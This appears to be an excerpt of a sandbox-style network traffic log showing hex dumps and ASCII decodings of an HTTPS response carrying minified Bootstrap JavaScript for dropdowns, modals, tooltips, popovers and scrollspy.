69 6f 6e 28 29 7b 76 61 72 20 74 3d 62 74 28 74 68 69 73 29 2e 64 61 74 61 28 49 74 29 3b 69 66 28 74 7c 7c 28 74 3d 
6e 65 77 20 63 28 74 68 69 73 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6c 6c 29 2c 62 74 
28 74 68 69 73 29 2e 64 61 74 61 28 49 74 2c 74 29 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 
69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 7
9 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 65 2b 27 22 27 29 3b 74 5b 65 5d 
28 29 7d 7d 29 7d 2c 63 2e 5f 63 6c 65 61 72 4d 65 6e 75 73 3d 66 
Data Ascii: e=function(e){return this.each(function(){var t=bt(this).data(It);if(t||(t=new c(this,"object"==typeof e?e:null),bt(th
is).data(It,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "'+e+'"');t[e]()}})
},c._clearMenus=f

2021-11-25 16:27:44 UTC 374 IN Data Raw: 61 73 73 28 6b 74 29 29 29 7b 76 61 72 20 65 3d 63 2e 5f 67 65 74 50 61 72 65 6e 74 46 72 6f 6d 45 6c 65 6d 
65 6e 74 28 74 68 69 73 29 2c 6e 3d 62 74 28 65 29 2e 68 61 73 43 6c 61 73 73 28 50 74 29 3b 69 66 28 28 6e 7c 7c 32 
37 3d 3d 3d 74 2e 77 68 69 63 68 26 26 33 32 3d 3d 3d 74 2e 77 68 69 63 68 29 26 26 28 21 6e 7c 7c 32 37 21 3d 3d 74 
2e 77 68 69 63 68 26 26 33 32 21 3d 3d 74 2e 77 68 69 63 68 29 29 7b 76 61 72 20 69 3d 5b 5d 2e 73 6c 69 63 65 2e 63 
61 6c 6c 28 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 4b 74 29 29 3b 69 66 28 30 21 3d 3d 69 2e 6c 65 
6e 67 74 68 29 7b 76 61 72 20 72 3d 69 2e 69 6e 64 65 78 4f 66 28 74 2e 74 61 72 67 65 74 29 3b 33 38 3d 3d 3d 74 2e 
77 68 69 63 68 26 26 30 3c 72 26 26 72 2d 2d 2c 34 30 3d 3d 3d 74 2e 77 
Data Ascii: ass(kt))){var e=c._getParentFromElement(this),n=bt(e).hasClass(Pt);if((n||27===t.which&&32===t.which)&&(!n||
27!==t.which&&32!==t.which)){var i=[].slice.call(e.querySelectorAll(Kt));if(0!==i.length){var r=i.indexOf(t.target);38==
=t.which&&0<r&&r--,40===t.w

2021-11-25 16:27:44 UTC 376 IN Data Raw: 65 2c 4b 45 59 44 4f 57 4e 5f 44 49 53 4d 49 53 53 3a 22 6b 65 79 64 6f 77 6e 2e 64 69 73 6d 69 73 73 22 2b 
65 65 2c 4d 4f 55 53 45 55 50 5f 44 49 53 4d 49 53 53 3a 22 6d 6f 75 73 65 75 70 2e 64 69 73 6d 69 73 73 22 2b 65 65 2c 
4d 4f 55 53 45 44 4f 57 4e 5f 44 49 53 4d 49 53 53 3a 22 6d 6f 75 73 65 64 6f 77 6e 2e 64 69 73 6d 69 73 73 22 2b 65 65 
2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 65 65 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 
73 65 3d 22 6d 6f 64 61 6c 2d 73 63 72 6f 6c 6c 62 61 72 2d 6d 65 61 73 75 72 65 22 2c 61 65 3d 22 6d 6f 64 61 6c 2d 62 
61 63 6b 64 72 6f 70 22 2c 6c 65 3d 22 6d 6f 64 61 6c 2d 6f 70 65 6e 22 2c 63 65 3d 22 66 61 64 65 22 2c 68 65 3d 22 73 
68 6f 77 22 2c 75 65 3d 22 2e 6d 6f 64 61 6c 2d 64 69 61 
Data Ascii: e,KEYDOWN_DISMISS:"keydown.dismiss"+ee,MOUSEUP_DISMISS:"mouseup.dismiss"+ee,MO
USEDOWN_DISMISS:"mousedown.dismiss"+ee,CLICK_DATA_API:"click"+ee+".data-api"},se="modal-scrollbar-me
asure",ae="modal-backdrop",le="modal-open",ce="fade",he="show",ue=".modal-dia

2021-11-25 16:27:44 UTC 381 IN Data Raw: 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 5f 73 68 6f 77 45 6c 65 6d 65 6e 74 28 74 29 7d 29 29 7d 7d 2c 74 
2e 68 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 74 26 26 74 2e 70 72 
65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 21 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 26 26 74 
68 69 73 2e 5f 69 73 53 68 6f 77 6e 29 7b 76 61 72 20 6e 3d 24 74 2e 45 76 65 6e 74 28 6f 65 2e 48 49 44 45 29 3b 69 66 
28 24 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 6e 29 2c 74 68 69 73 2e 5f 69 73 53 68 
6f 77 6e 26 26 21 6e 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 29 7b 74 68 69 73 2e 5f 69 73 53 
68 6f 77 6e 3d 21 31 3b 76 61 72 20 69 3d 24 74 28 74 68 69 73 
Data Ascii: on(){return e._showElement(t)}))}},t.hide=function(t){var e=this;if(t&&t.preventDefault(),!this._isTransitio
ning&&this._isShown){var n=$t.Event(oe.HIDE);if($t(this._element).trigger(n),this._isShown&&!n.isDefaultPrevented()){thi
s._isShown=!1;var i=$t(this

2021-11-25 16:27:44 UTC 382 IN Data Raw: 61 2d 68 69 64 64 65 6e 22 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 63 72 6f 6c 6c 54 6f 70 3d 30 
2c 6e 26 26 46 6e 2e 72 65 66 6c 6f 77 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 24 74 28 74 68 69 73 2e 5f 65 6c 
65 6d 65 6e 74 29 2e 61 64 64 43 6c 61 73 73 28 68 65 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 66 6f 63 75 73 26 26 
74 68 69 73 2e 5f 65 6e 66 6f 72 63 65 46 6f 63 75 73 28 29 3b 76 61 72 20 69 3d 24 74 2e 45 76 65 6e 74 28 6f 65 2e 53 
48 4f 57 4e 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 74 7d 29 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 
63 6f 6e 66 69 67 2e 66 6f 63 75 73 26 26 65 2e 5f 65 6c 65 6d 65 6e 74 2e 66 6f 63 75 73 28 29 2c 65 2e 5f 69 73 54 72 
61 6e 73 69 74 69 6f 6e 69 6e 67 3d 21 31 2c 24 74 28 65 
Data Ascii: a-hidden"),this._element.scrollTop=0,n&&Fn.reflow(this._element),$t(this._element).addClass(he),this._config
.focus&&this._enforceFocus();var i=$t.Event(oe.SHOWN,{relatedTarget:t}),r=function(){e._config.focus&&e._eleme
nt.focus(),e._isTransitioning=!1,$t(e

2021-11-25 16:27:44 UTC 384 IN Data Raw: 6c 29 7d 2c 74 2e 5f 73 68 6f 77 42 61 63 6b 64 72 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 
65 3d 74 68 69 73 2c 6e 3d 24 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 63 65 29 3f 
63 65 3a 22 22 3b 69 66 28 74 68 69 73 2e 5f 69 73 53 68 6f 77 6e 26 26 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 62 61 63 
6b 64 72 6f 70 29 7b 69 66 28 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 
45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 2e 63 6c 61 73 73 4e 61 6d 65 3d 
61 65 2c 6e 26 26 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 6e 29 2c 24 74 
28 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 29 2e 61 70 
Data Ascii: l)},t._showBackdrop=function(t){var e=this,n=$t(this._element).hasClass(ce)?ce:"";if(this._isShown&&this._co
nfig.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className=ae,n&&this._backdrop.c
lassList.add(n),$t(this._backdrop).ap

2021-11-25 16:27:44 UTC 385 IN Data Raw: 74 2e 5f 63 68 65 63 6b 53 63 72 6f 6c 6c 62 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 64 
6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 3b 74 68 69 
73 2e 5f 69 73 42 6f 64 79 4f 76 65 72 66 6c 6f 77 69 6e 67 3d 74 2e 6c 65 66 74 2b 74 2e 72 69 67 68 74 3c 77 69 6e 64 
6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 2c 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 62 61 72 57 69 64 74 68 3d 74 68 69 73 2e 
5f 67 65 74 53 63 72 6f 6c 6c 62 61 72 57 69 64 74 68 28 29 7d 2c 74 2e 5f 73 65 74 53 63 72 6f 6c 6c 62 61 72 3d 66 75 
6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 3b 69 66 28 74 68 69 73 2e 5f 69 73 42 6f 64 79 4f 76 65 72 66 
6c 6f 77 69 6e 67 29 7b 76 61 72 20 74 3d 5b 5d 2e 73 6c 
Data Ascii: t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.ri
ght<window.innerWidth,this._scrollbarWidth=this._getScrollbarWidth()},t._setScrollbar=function(){var r=this;if(this._isB
odyOverflowing){var t=[].sl

2021-11-25 16:27:44 UTC 386 IN Data Raw: 65 2e 70 61 64 64 69 6e 67 52 69 67 68 74 3d 6e 7c 7c 22 22 7d 2c 74 2e 5f 67 65 74 53 63 72 6f 6c 6c 62 61 
72 57 69 64 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 
45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 74 2e 63 6c 61 73 73 4e 61 6d 65 3d 73 65 2c 64 6f 63 75 6d 65 6e 74 2e 
62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 3b 76 61 72 20 65 3d 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 
6c 69 65 6e 74 52 65 63 74 28 29 2e 77 69 64 74 68 2d 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 3b 72 65 74 75 72 6e 20 
64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 65 7d 2c 72 2e 5f 6a 51 75 65 72 
79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 
Data Ascii: e.paddingRight=n||""},t._getScrollbarWidth=function(){var t=document.createElement("div");t.className=se,doc
ument.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e},r._
jQueryInterface=function(n,
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2021-11-25 16:27:44 UTC 388 IN Data Raw: 34 62 37 36 0d 0a 2c 22 67 22 29 2c 41 65 3d 7b 61 6e 69 6d 61 74 69 6f 6e 3a 21 30 2c 74 65 6d 70 6c 61 74 
65 3a 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 74 69 70 22 20 72 6f 6c 65 3d 22 74 6f 6f 6c 74 69 70 22 3e 3c 
64 69 76 20 63 6c 61 73 73 3d 22 61 72 72 6f 77 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 
74 69 70 2d 69 6e 6e 65 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 27 2c 74 72 69 67 67 65 72 3a 22 68 6f 76 65 72 20 
66 6f 63 75 73 22 2c 74 69 74 6c 65 3a 22 22 2c 64 65 6c 61 79 3a 30 2c 68 74 6d 6c 3a 21 28 49 65 3d 7b 41 55 54 4f 3a 
22 61 75 74 6f 22 2c 54 4f 50 3a 22 74 6f 70 22 2c 52 49 47 48 54 3a 22 72 69 67 68 74 22 2c 42 4f 54 54 4f 4d 3a 22 62 
6f 74 74 6f 6d 22 2c 4c 45 46 54 3a 22 6c 65 66 74 22 7d 
Data Ascii: 4b76,"g"),Ae={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class
="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!(Ie={AUTO:"auto",TOP:"top",RIGHT:"right",BOT
TOM:"bottom",LEFT:"left"}

2021-11-25 16:27:44 UTC 389 IN Data Raw: 3d 21 30 7d 2c 74 2e 64 69 73 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 45 6e 
61 62 6c 65 64 3d 21 31 7d 2c 74 2e 74 6f 67 67 6c 65 45 6e 61 62 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 
73 2e 5f 69 73 45 6e 61 62 6c 65 64 3d 21 74 68 69 73 2e 5f 69 73 45 6e 61 62 6c 65 64 7d 2c 74 2e 74 6f 67 67 6c 65 3d 
66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 73 45 6e 61 62 6c 65 64 29 69 66 28 74 29 7b 76 61 
72 20 65 3d 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 44 41 54 41 5f 4b 45 59 2c 6e 3d 70 65 28 74 2e 63 75 72 
72 65 6e 74 54 61 72 67 65 74 29 2e 64 61 74 61 28 65 29 3b 6e 7c 7c 28 6e 3d 6e 65 77 20 74 68 69 73 2e 63 6f 6e 73 
74 72 75 63 74 6f 72 28 74 2e 63 75 72 72 65 6e 74 54 61 72 67 
Data Ascii: =!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t
.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=pe(t.currentTarget).data(e);n||(n=new thi
s.constructor(t.currentTarg

2021-11-25 16:27:44 UTC 391 IN Data Raw: 63 74 6f 72 2e 4e 41 4d 45 29 3b 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 72 29 2c 74 68 
69 73 2e 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 
62 79 22 2c 72 29 2c 74 68 69 73 2e 73 65 74 43 6f 6e 74 65 6e 74 28 29 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 61 6e 69 
6d 61 74 69 6f 6e 26 26 70 65 28 69 29 2e 61 64 64 43 6c 61 73 73 28 4f 65 29 3b 76 61 72 20 6f 3d 22 66 75 6e 63 74 69 
6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 63 6f 6e 66 69 67 2e 70 6c 61 63 65 6d 65 6e 74 3f 74 68 69 73 2e 63 
6f 6e 66 69 67 2e 70 6c 61 63 65 6d 65 6e 74 2e 63 61 6c 6c 28 74 68 69 73 2c 69 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 
74 29 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 70 6c 61 63 65 6d 
Data Ascii: ctor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.con
fig.animation&&pe(i).addClass(Oe);var o="function"==typeof this.config.placement?this.config.placement.call(this,i,this.
element):this.config.placem

2021-11-25 16:27:44 UTC 393 IN Data Raw: 6e 73 69 74 69 6f 6e 45 6e 64 28 63 29 7d 65 6c 73 65 20 6c 28 29 7d 7d 2c 74 2e 68 69 64 65 3d 66 75 6e 63 
74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 74 68 69 73 2e 67 65 74 54 69 70 45 6c 65 6d 65 6e 74 
28 29 2c 69 3d 70 65 2e 45 76 65 6e 74 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 48 49 
44 45 29 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 68 6f 76 65 72 53 74 61 74 65 21 3d 3d 44 65 26 26 6e 2e 70 
61 72 65 6e 74 4e 6f 64 65 26 26 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 6e 29 2c 65 
2e 5f 63 6c 65 61 6e 54 69 70 43 6c 61 73 73 28 29 2c 65 2e 65 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 
75 74 65 28 22 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 
Data Ascii: nsitionEnd(c)}else l()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=pe.Event(this.constructor.Ev
ent.HIDE),r=function(){e._hoverState!==De&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.elem
ent.removeAttribute("aria-describedby

2021-11-25 16:27:44 UTC 394 IN Data Raw: 74 2e 74 65 78 74 28 70 65 28 65 29 2e 74 65 78 74 28 29 29 3a 74 5b 6e 3f 22 68 74 6d 6c 22 3a 22 74 65 78 
74 22 5d 28 65 29 7d 2c 74 2e 67 65 74 54 69 74 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 
73 2e 65 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 
69 74 6c 65 22 29 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 
68 69 73 2e 63 6f 6e 66 69 67 2e 74 69 74 6c 65 3f 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 69 74 6c 65 2e 63 61 6c 6c 28 
74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 69 74 6c 65 29 2c 74 7d 2c 74 2e 5f 67 
65 74 41 74 74 61 63 68 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 
Data Ascii: t.text(pe(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title
");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getAttachment=f
unction

2021-11-25 16:27:44 UTC 395 IN Data Raw: 67 28 29 29 2c 70 65 28 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 29 2e 64 61 74 61 28 6e 2c 65 29 29 2c 
74 26 26 28 65 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 5b 22 66 6f 63 75 73 69 6e 22 3d 3d 3d 74 2e 74 79 70 65 3f 
4c 65 3a 48 65 5d 3d 21 30 29 2c 70 65 28 65 2e 67 65 74 54 69 70 45 6c 65 6d 65 6e 74 28 29 29 2e 68 61 73 43 6c 61 
73 73 28 6b 65 29 7c 7c 65 2e 5f 68 6f 76 65 72 53 74 61 74 65 3d 3d 3d 44 65 3f 65 2e 5f 68 6f 76 65 72 53 74 61 74 65 
3d 44 65 3a 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 65 2e 5f 74 69 6d 65 6f 75 74 29 2c 65 2e 5f 68 6f 76 65 72 53 74 
61 74 65 3d 44 65 2c 65 2e 63 6f 6e 66 69 67 2e 64 65 6c 61 79 26 26 65 2e 63 6f 6e 66 69 67 2e 64 65 6c 61 79 2e 73 68 
6f 77 3f 65 2e 5f 74 69 6d 65 6f 75 74 3d 73 65 74 54 69 6d 
Data Ascii: g()),pe(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Le:He]=!0),pe(e.getTipElement())
.hasClass(ke)||e._hoverState===De?e._hoverState=De:(clearTimeout(e._timeout),e._hoverState=De,e.config.delay&&
e.config.delay.show?e._timeout=setTim

2021-11-25 16:27:44 UTC 401 IN Data Raw: 3d 74 68 69 73 2e 63 6f 6e 66 69 67 5b 65 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 74 2e 5f 63 6c 65 61 6e 54 
69 70 43 6c 61 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 70 65 28 74 68 69 73 2e 67 65 74 54 69 70 
45 6c 65 6d 65 6e 74 28 29 29 2c 65 3d 74 2e 61 74 74 72 28 22 63 6c 61 73 73 22 29 2e 6d 61 74 63 68 28 62 65 29 3b 
6e 75 6c 6c 21 3d 3d 65 26 26 65 2e 6c 65 6e 67 74 68 26 26 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2e 6a 6f 69 6e 
28 22 22 29 29 7d 2c 74 2e 5f 68 61 6e 64 6c 65 50 6f 70 70 65 72 50 6c 61 63 65 6d 65 6e 74 43 68 61 6e 67 65 3d 66 75 
6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 69 6e 73 74 61 6e 63 65 3b 74 68 69 73 2e 74 69 70 3d 65 2e 70 6
f 70 70 65 72 2c 74 68 69 73 2e 5f 63 6c 65 61 6e 54 69 70 43 6c 
Data Ascii: =this.config[e]);return t},t._cleanTipClass=function(){var t=pe(this.getTipElement()),e=t.attr("class").matc
h(be);null!==e&&e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){var e=t.instan
ce;this.tip=e.popper,this._cleanTipCl

2021-11-25 16:27:44 UTC 406 IN Data Raw: 29 22 2b 51 65 2b 22 5c 5c 53 2b 22 2c 22 67 22 29 2c 56 65 3d 6c 28 7b 7d 2c 7a 6e 2e 44 65 66 61 75 6c 74 
2c 7b 70 6c 61 63 65 6d 65 6e 74 3a 22 72 69 67 68 74 22 2c 74 72 69 67 67 65 72 3a 22 63 6c 69 63 6b 22 2c 63 6f 6e 
74 65 6e 74 3a 22 22 2c 74 65 6d 70 6c 61 74 65 3a 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 6f 76 65 72 22 20 72 
6f 6c 65 3d 22 74 6f 6f 6c 74 69 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 72 72 6f 77 22 3e 3c 2f 64 69 76 3e 3c 
68 33 20 63 6c 61 73 73 3d 22 70 6f 70 6f 76 65 72 2d 68 65 61 64 65 72 22 3e 3c 2f 68 33 3e 3c 64 69 76 20 63 6c 61 73 
73 3d 22 70 6f 70 6f 76 65 72 2d 62 6f 64 79 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 27 7d 29 2c 59 65 3d 6c 28 7b 7d 
2c 7a 6e 2e 44 65 66 61 75 6c 74 54 79 70 65 2c 7b 63 6f 6e 
Data Ascii: )"+Qe+"\\S+","g"),Ve=l({},zn.Default,{placement:"right",trigger:"click",content:"",template:'<div class="popover" 
role="tooltip"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'}),
Ye=l({},zn.DefaultType,{con

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:44 UTC 412 IN Data Raw: 6e 74 28 29 29 2c 65 3d 74 2e 61 74 74 72 28 22 63 6c 61 73 73 22 29 2e 6d 61 74 63 68 28 42 65 29 3b 6e 75 
6c 6c 21 3d 3d 65 26 26 30 3c 65 2e 6c 65 6e 67 74 68 26 26 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2e 6a 6f 69 6e 
28 22 22 29 29 7d 2c 69 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 
74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 65 28 74 68 69 73 
29 2e 64 61 74 61 28 46 65 29 2c 65 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 6e 3a 6e 75 6c 6c 3b 69 
66 28 28 74 7c 7c 21 2f 64 65 73 74 72 6f 79 7c 68 69 64 65 2f 2e 74 65 73 74 28 6e 29 29 26 26 28 74 7c 7c 28 74 3d 6e 
65 77 20 69 28 74 68 69 73 2c 65 29 2c 55 65 28 74 68 69 73 
Data Ascii: nt()),e=t.attr("class").match(Be);null!==e&&0<e.length&&t.removeClass(e.join(""))},i._jQueryInterface=functi
on(n){return this.each(function(){var t=Ue(this).data(Fe),e="object"==typeof n?n:null;if((t||!/destroy|hide/.test(n))&&(t||(t=new 
i(this,e),Ue(this

2021-11-25 16:27:44 UTC 413 IN Data Raw: 6c 6c 45 6c 65 6d 65 6e 74 3d 22 42 4f 44 59 22 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 3f 77 69 6e 64 6f 77 3a 
74 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68 69 73 2e 5f 
73 65 6c 65 63 74 6f 72 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 74 61 72 67 65 74 2b 22 20 22 2b 67 6e 2b 22 2c 22 2b 
74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 74 61 72 67 65 74 2b 22 20 22 2b 6d 6e 2b 22 2c 22 2b 74 68 69 73 2e 5f 63 6f 6e 
66 69 67 2e 74 61 72 67 65 74 2b 22 20 22 2b 76 6e 2c 74 68 69 73 2e 5f 6f 66 66 73 65 74 73 3d 5b 5d 2c 74 68 69 73 
2e 5f 74 61 72 67 65 74 73 3d 5b 5d 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 54 61 72 67 65 74 3d 6e 75 6c 6c 2c 74 68 69 
73 2e 5f 73 63 72 6f 6c 6c 48 65 69 67 68 74 3d 30 2c 74 6e 
Data Ascii: llElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+" "
+gn+","+this._config.target+" "+mn+","+this._config.target+" "+vn,this._offsets=[],this._targets=[],this._activeTarget=n
ull,this._scrollHeight=0,tn

2021-11-25 16:27:44 UTC 414 IN Data Raw: 72 67 65 74 29 2e 61 74 74 72 28 22 69 64 22 29 3b 65 7c 7c 28 65 3d 46 6e 2e 67 65 74 55 49 44 28 65 6e 29 
2c 74 6e 28 74 2e 74 61 72 67 65 74 29 2e 61 74 74 72 28 22 69 64 22 2c 65 29 29 2c 74 2e 74 61 72 67 65 74 3d 22 23 
22 2b 65 7d 72 65 74 75 72 6e 20 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 65 6e 2c 74 2c 61 6e 29 2c 
74 7d 2c 74 2e 5f 67 65 74 53 63 72 6f 6c 6c 54 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 
73 2e 5f 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 3d 3d 3d 77 69 6e 64 6f 77 3f 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 45 6c 65
6d 65 6e 74 2e 70 61 67 65 59 4f 66 66 73 65 74 3a 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 2e 73 63 72 
6f 6c 6c 54 6f 70 7d 2c 74 2e 5f 67 65 74 53 63 72 6f 6c 6c 
Data Ascii: rget).attr("id");e||(e=Fn.getUID(en),tn(t.target).attr("id",e)),t.target="#"+e}return Fn.typeCheckConfig(en,t,an),t},t
._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scroll
Top},t._getScroll

2021-11-25 16:27:44 UTC 420 IN Data Raw: 73 65 73 74 28 70 6e 29 2e 66 69 6e 64 28 79 6e 29 2e 61 64 64 43 6c 61 73 73 28 68 6e 29 2c 6e 2e 61 64 64 
43 6c 61 73 73 28 68 6e 29 29 3a 28 6e 2e 61 64 64 43 6c 61 73 73 28 68 6e 29 2c 6e 2e 70 61 72 65 6e 74 73 28 64 6e 
29 2e 70 72 65 76 28 67 6e 2b 22 2c 20 22 2b 6d 6e 29 2e 61 64 64 43 6c 61 73 73 28 68 6e 29 2c 6e 2e 70 61 72 65 6e 
74 73 28 64 6e 29 2e 70 72 65 76 28 5f 6e 29 2e 63 68 69 6c 64 72 65 6e 28 67 6e 29 2e 61 64 64 43 6c 61 73 73 28 68 6
e 29 29 2c 74 6e 28 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 6c 6e 2e 41 
